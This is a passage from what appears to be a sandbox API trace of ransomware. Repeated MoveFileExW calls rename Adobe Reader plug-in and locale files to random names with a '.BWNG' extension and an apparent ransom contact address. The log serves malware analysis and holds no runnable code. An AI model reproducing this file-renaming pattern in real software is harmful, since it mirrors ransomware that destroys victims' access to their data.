10.0\\reader\\locale\\zh_tw\\acroform.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].oRnhFYWD-1xCYr6Xy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].ornhfywd-1xcyr6xy.bwng"), dwFlags=0x1) returned 1 [0098.830] GetTickCount () returned 0x1160723 [0098.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24078276441) returned 1 [0098.831] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].LEi1OL9c-MaxWAij7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].lei1ol9c-maxwaij7.bwng"), dwFlags=0x1) returned 1 [0098.832] GetTickCount () returned 0x1160723 [0098.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24078441427) returned 1 [0098.832] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].wdNS8wDs-yjA0nlJs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].wdns8wds-yja0nljs.bwng"), dwFlags=0x1) returned 1 [0098.957] GetTickCount () returned 0x116079f [0098.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24091204116) returned 1 [0098.965] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\makeaccessible.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\makeaccessible.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].dnfI7LGT-jZMC6i7N.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].dnfi7lgt-jzmc6i7n.bwng"), dwFlags=0x1) returned 1 [0098.966] GetTickCount () returned 0x116079f [0098.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24091862481) returned 1 [0098.967] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].C4kHlZwq-jvH1yoU3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].c4khlzwq-jvh1you3.bwng"), dwFlags=0x1) returned 1 [0098.968] GetTickCount () returned 0x11607af [0098.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092019170) returned 1 [0098.968] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\[billwong73@yahoo.com].4wQckfph-981Do7Nj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\[billwong73@yahoo.com].4wqckfph-981do7nj.bwng"), dwFlags=0x1) returned 1 [0098.969] GetTickCount () returned 0x11607af [0098.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092165312) returned 1 [0098.970] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].mMmvTmMh-pFkIlUqy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].mmmvtmmh-pfkiluqy.bwng"), dwFlags=0x1) returned 1 [0098.971] GetTickCount () returned 0x11607af [0098.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092303746) returned 1 [0098.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].IYSdgHXR-yaPtv7hQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].iysdghxr-yaptv7hq.bwng"), dwFlags=0x1) returned 1 [0098.972] GetTickCount () returned 0x11607af [0098.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092449493) returned 1 [0098.972] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\qrcode.pmp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\[billwong73@yahoo.com].6OoCA1Al-hYElEssw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\[billwong73@yahoo.com].6ooca1al-hyelessw.bwng"), dwFlags=0x1) returned 1 [0098.973] GetTickCount () returned 0x11607af [0098.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092571158) returned 1 [0098.974] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].eGYyFeHY-QRt7MlCM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].egyyfehy-qrt7mlcm.bwng"), dwFlags=0x1) returned 1 [0098.975] GetTickCount () returned 0x11607af [0098.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092698463) returned 1 [0098.975] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].69H0ZlSR-vPz7yK8d.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].69h0zlsr-vpz7yk8d.bwng"), dwFlags=0x1) returned 1 [0098.976] GetTickCount () returned 0x11607af [0098.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24092839395) returned 1 [0098.976] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].yphAGfCV-eKhazm4g.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].yphagfcv-ekhazm4g.bwng"), dwFlags=0x1) returned 1 [0099.136] GetTickCount () returned 0x116084b [0099.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24108863309) returned 1 [0099.185] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].8s38w6dA-sMdBuKyz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].8s38w6da-smdbukyz.bwng"), dwFlags=0x1) returned 1 [0099.406] GetTickCount () returned 0x1160964 [0099.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24135785050) returned 1 [0099.406] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].961yYn1b-43YEiYoC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].961yyn1b-43yeiyoc.bwng"), dwFlags=0x1) returned 1 [0099.407] GetTickCount () returned 0x1160964 [0099.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24135939505) returned 1 [0099.407] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].cwWEOdip-gdOFaTPV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].cwweodip-gdofatpv.bwng"), dwFlags=0x1) returned 1 [0099.408] GetTickCount () returned 0x1160964 [0099.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24136068850) returned 1 [0099.409] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].RckqMBeE-gLgKnhLf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].rckqmbee-glgknhlf.bwng"), dwFlags=0x1) returned 1 [0099.410] GetTickCount () returned 0x1160964 [0099.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24136182241) returned 1 [0099.410] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].roYEKyOA-osaXD2yW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].royekyoa-osaxd2yw.bwng"), dwFlags=0x1) returned 1 [0099.413] GetTickCount () returned 0x1160964 [0099.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24136548736) returned 1 [0099.413] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].49KtHZz4-cwbvTJgg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].49kthzz4-cwbvtjgg.bwng"), dwFlags=0x1) returned 1 [0099.414] GetTickCount () returned 0x1160964 [0099.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24136668842) returned 1 [0099.415] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].RtUSegTA-cjcP7N11.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].rtusegta-cjcp7n11.bwng"), dwFlags=0x1) returned 1 [0099.418] GetTickCount () returned 0x1160964 [0099.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24137064185) returned 1 [0099.421] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].RKSGgYox-dDAqawO2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].rksggyox-ddaqawo2.bwng"), dwFlags=0x1) returned 1 [0099.422] GetTickCount () returned 0x1160973 [0099.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24139533393) returned 1 [0099.649] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].tcnCBWyp-smMnIG8y.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].tcncbwyp-smmnig8y.bwng"), dwFlags=0x1) returned 1 [0099.651] GetTickCount () returned 0x1160a4e [0099.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24160293947) returned 1 [0099.651] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\WindowsMedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\windowsmedia.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\[billwong73@yahoo.com].WohSeKdV-CUbA4HQU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\[billwong73@yahoo.com].wohsekdv-cuba4hqu.bwng"), dwFlags=0x1) returned 1 [0099.652] GetTickCount () returned 0x1160a4e [0099.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24160451629) returned 1 [0099.652] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Mcimpp.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\mcimpp.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\[billwong73@yahoo.com].WZ0sP8Iv-gGh4WLY0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\[billwong73@yahoo.com].wz0sp8iv-ggh4wly0.bwng"), dwFlags=0x1) returned 1 [0099.654] GetTickCount () returned 0x1160a5d [0099.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24160615509) returned 1 [0099.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\WindowsMedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\windowsmedia.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\[billwong73@yahoo.com].Yd3QlEb4-CGdIyRzy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\[billwong73@yahoo.com].yd3qleb4-cgdiyrzy.bwng"), dwFlags=0x1) returned 1 [0099.659] GetTickCount () returned 0x1160a5d [0099.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24161116660) returned 1 [0099.659] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\MCIMPP.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\mcimpp.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\[billwong73@yahoo.com].nHcSsFL5-zqMAX6ix.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\[billwong73@yahoo.com].nhcssfl5-zqmax6ix.bwng"), dwFlags=0x1) returned 1 [0099.660] GetTickCount () returned 0x1160a5d [0099.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24161269831) returned 1 [0099.661] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].jSsze1Jy-vywOIrw5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].jssze1jy-vywoirw5.bwng"), dwFlags=0x1) returned 1 [0099.662] GetTickCount () returned 0x1160a5d [0099.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24161444172) returned 1 [0099.662] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].hETV8cfn-XuVQMbrO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].hetv8cfn-xuvqmbro.bwng"), dwFlags=0x1) returned 1 [0099.664] GetTickCount () returned 0x1160a5d [0099.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24161578383) returned 1 [0099.664] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].BsYzXuD5-Z8q2D4p2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].bsyzxud5-z8q2d4p2.bwng"), dwFlags=0x1) returned 1 [0099.665] GetTickCount () returned 0x1160a5d [0099.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24161726827) returned 1 [0099.665] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].k7MzAMyf-EaGAnQkA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].k7mzamyf-eaganqka.bwng"), dwFlags=0x1) returned 1 [0099.666] GetTickCount () returned 0x1160a5d [0099.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24161864535) returned 1 [0099.667] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].BlByk9E7-EVzqpdm6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].blbyk9e7-evzqpdm6.bwng"), dwFlags=0x1) returned 1 [0099.668] GetTickCount () returned 0x1160a5d [0099.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24162006560) returned 1 [0099.668] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].UEFn3iEt-NNYOkSEL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].uefn3iet-nnyoksel.bwng"), dwFlags=0x1) returned 1 [0099.669] GetTickCount () returned 0x1160a6d [0099.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24162151444) returned 1 [0099.669] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].hSg0C406-1Wlhp5gK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].hsg0c406-1wlhp5gk.bwng"), dwFlags=0x1) returned 1 [0099.670] GetTickCount () returned 0x1160a6d [0099.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24162269826) returned 1 [0099.671] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].okUI5zxi-crKVzgLM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].okui5zxi-crkvzglm.bwng"), dwFlags=0x1) returned 1 [0099.673] GetTickCount () returned 0x1160a6d [0099.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24162521953) returned 1 [0099.673] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].Xpsa5n3E-SPUYtiiz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].xpsa5n3e-spuytiiz.bwng"), dwFlags=0x1) returned 1 [0099.675] GetTickCount () returned 0x1160a6d [0099.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24162680721) returned 1 [0099.675] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].alHi3jbd-M8GkrOza.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].alhi3jbd-m8gkroza.bwng"), dwFlags=0x1) returned 1 [0099.676] GetTickCount () returned 0x1160a6d [0099.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: 